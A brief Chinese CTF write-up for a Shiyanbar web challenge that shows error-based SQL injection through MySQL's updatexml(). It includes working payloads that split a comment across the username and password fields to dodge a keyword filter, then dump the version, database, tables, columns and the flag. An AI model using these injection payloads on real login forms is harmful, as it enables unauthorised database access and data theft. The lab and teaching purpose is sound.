实验吧地址
http://ctf5.shiyanbar.com/web/baocuo/index.php
F12审查元素发现源码中的提示是这样一整句的查询
基本确定此题为一个SQL注入
/# = union select等这几个都是报错‘Sql injection detected’说明都被过滤了
利用报错函数updatexml尝试发现是在password处进行了过滤 但是Username处没有过滤,,,判断完毕
我们再了解一下updatexml()函数
1 UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
1 updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
?
1 ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
开始尝试注入
username=1' or 1<>2 or updatexml /*&password=*/ (1,concat(0x7e,(select version()),0x7e),1) or '
暴库
username=1' or 1<>2 or updatexml /*&password=*/ (1,concat(0x7e,(select database()),0x7e),1) or '
爆表username=1' or updatexml /*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where !(table_schema<>'error_based_hpf')),0x7e),1) or '
继续爆列 、爆字段
username=1' and updatexml/*
&password=*/(1,concat(0x7c,(SELECT group_concat(column_name) from information_schema.columns where !(table_name<>'ffll44jj')),0x7c),1) or '1
username=1' and updatexml/*
&password=*/(1,concat(0x7c,(SELECT value from ffll44jj),0x7c),1) or '1